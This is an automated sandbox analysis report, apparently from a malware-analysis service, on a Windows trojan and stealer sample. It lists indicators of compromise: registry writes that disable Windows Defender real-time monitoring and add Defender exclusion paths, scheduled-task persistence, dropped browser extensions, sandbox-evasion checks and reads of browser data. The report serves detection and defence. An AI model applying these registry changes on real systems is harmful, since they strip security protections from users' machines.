1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35

Analysis

max time kernel
185s
max time network
190s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 05:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe
Size

7.3MB
MD5

b52980fec56edf878e3e0ebc68d3ac9e
SHA1

91d197eef6cd2212cfca5b69cd415981439c6840
SHA256

1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35
SHA512

2fd342aec6d67aef44749e045b7fb81dbce4bbd8f02e05cc303cb6a14855f9801af3d04a48a5732bf0c121ac67cf9c6d6b70eabf51df5537c8e4243932a7bc56
SSDEEP

98304:91OgSvLXE7jnk0q77e+LkLJ0fxksJ6mXEdi/zvSTC5Kgr+/feiQNeFznL9zB3sFd:91OgK0Pnr/+cJKvuMK+K0UFznLthcg4

Score

10^/10

discovery evasion execution spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rPikKiIbwrQGukIChiR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fHdtCMTPryqSDgVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bBBSFQQZU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MIUMVdEgyTUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NNMAoTKMcAkAC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rPikKiIbwrQGukIChiR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rUfZlqUIdWiU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fHdtCMTPryqSDgVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MIUMVdEgyTUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NNMAoTKMcAkAC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bBBSFQQZU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rUfZlqUIdWiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

27 1204 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXE

pid process

2060 powershell.exe
2276 powershell.EXE
2648 powershell.exe
988 powershell.exe
2828 powershell.exe
1312 powershell.EXE
1132 powershell.EXE

flow	pid	process
27	1204	rundll32.exe

pid	process
2060	powershell.exe
2276	powershell.EXE
2648	powershell.exe
988	powershell.exe
2828	powershell.exe
1312	powershell.EXE
1132	powershell.EXE

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

jFXNTIL.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\International\Geo\Nation jFXNTIL.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeyUrVPAd.exejFXNTIL.exe

pid process

1896 Install.exe
3044 Install.exe
2568 yUrVPAd.exe
2504 jFXNTIL.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\International\Geo\Nation	jFXNTIL.exe

pid	process
1896	Install.exe
3044	Install.exe
2568	yUrVPAd.exe
2504	jFXNTIL.exe

Loads dropped DLL 23 IoCs

Processes:

1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exeInstall.exeInstall.exeWerFault.exerundll32.exeWerFault.exeWerFault.exe

pid	process
1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe
1896	Install.exe
1896	Install.exe
1896	Install.exe
1896	Install.exe
3044	Install.exe
3044	Install.exe
3044	Install.exe
2488	WerFault.exe
2488	WerFault.exe
2488	WerFault.exe
1204	rundll32.exe
1204	rundll32.exe
1204	rundll32.exe
1204	rundll32.exe
2836	WerFault.exe
2836	WerFault.exe
2836	WerFault.exe
2836	WerFault.exe
2836	WerFault.exe
1752	WerFault.exe
1752	WerFault.exe
1752	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

jFXNTIL.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	jFXNTIL.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	jFXNTIL.exe

Drops file in System32 directory 24 IoCs

Processes:

powershell.exejFXNTIL.exeyUrVPAd.exepowershell.EXEpowershell.exepowershell.exepowershell.EXErundll32.exepowershell.exepowershell.EXE

description	ioc	process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	jFXNTIL.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	yUrVPAd.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	yUrVPAd.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	yUrVPAd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	jFXNTIL.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	jFXNTIL.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	jFXNTIL.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	jFXNTIL.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	jFXNTIL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	yUrVPAd.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 13 IoCs

Processes:

jFXNTIL.exe

description	ioc	process
File created	C:\Program Files (x86)\bBBSFQQZU\cJShuxr.xml	jFXNTIL.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\JaqOxIWOmcIWB.dll	jFXNTIL.exe
File created	C:\Program Files (x86)\bBBSFQQZU\aOIOcW.dll	jFXNTIL.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	jFXNTIL.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	jFXNTIL.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\JgCkKgg.dll	jFXNTIL.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	jFXNTIL.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\EVwNPJE.xml	jFXNTIL.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\cIxZeIy.dll	jFXNTIL.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\xjRusjO.xml	jFXNTIL.exe
File created	C:\Program Files (x86)\MIUMVdEgyTUn\CYJVCBA.dll	jFXNTIL.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	jFXNTIL.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\EoqhHtL.xml	jFXNTIL.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\MRaTohzfdszDuijXP.job	schtasks.exe
File created	C:\Windows\Tasks\bUVDAOPnPkUhchiViu.job	schtasks.exe
File created	C:\Windows\Tasks\MhsnVFKWmmyXGZkTD.job	schtasks.exe
File created	C:\Windows\Tasks\LVynAQLCTpGcVPg.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

2488 2568 WerFault.exe yUrVPAd.exe
2836 3044 WerFault.exe Install.exe
1752 2504 WerFault.exe jFXNTIL.exe

pid	pid_target	process	target process
2488	2568	WerFault.exe	yUrVPAd.exe
2836	3044	WerFault.exe	Install.exe
1752	2504	WerFault.exe	jFXNTIL.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

jFXNTIL.exerundll32.exeyUrVPAd.exewscript.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	jFXNTIL.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	jFXNTIL.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDecisionTime = 005d23f573cbda01	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	jFXNTIL.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00cd000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	jFXNTIL.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000e0ae98e473cbda01	yUrVPAd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	yUrVPAd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	yUrVPAd.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E}\WpadDecisionTime = 005d23f573cbda01	jFXNTIL.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	jFXNTIL.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	jFXNTIL.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E}\WpadDecisionReason = "1"	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	jFXNTIL.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDecisionReason = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	jFXNTIL.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E}\WpadDecision = "0"	jFXNTIL.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDecision = "0"	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	jFXNTIL.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	jFXNTIL.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00deb2e473cbda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E}\ee-3e-b5-d5-ce-ce	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	yUrVPAd.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	jFXNTIL.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	jFXNTIL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1976	schtasks.exe
1880	schtasks.exe
2856	schtasks.exe
1256	schtasks.exe
1712	schtasks.exe
1392	schtasks.exe
1688	schtasks.exe
2632	schtasks.exe
1712	schtasks.exe
2196	schtasks.exe
3048	schtasks.exe
2280	schtasks.exe

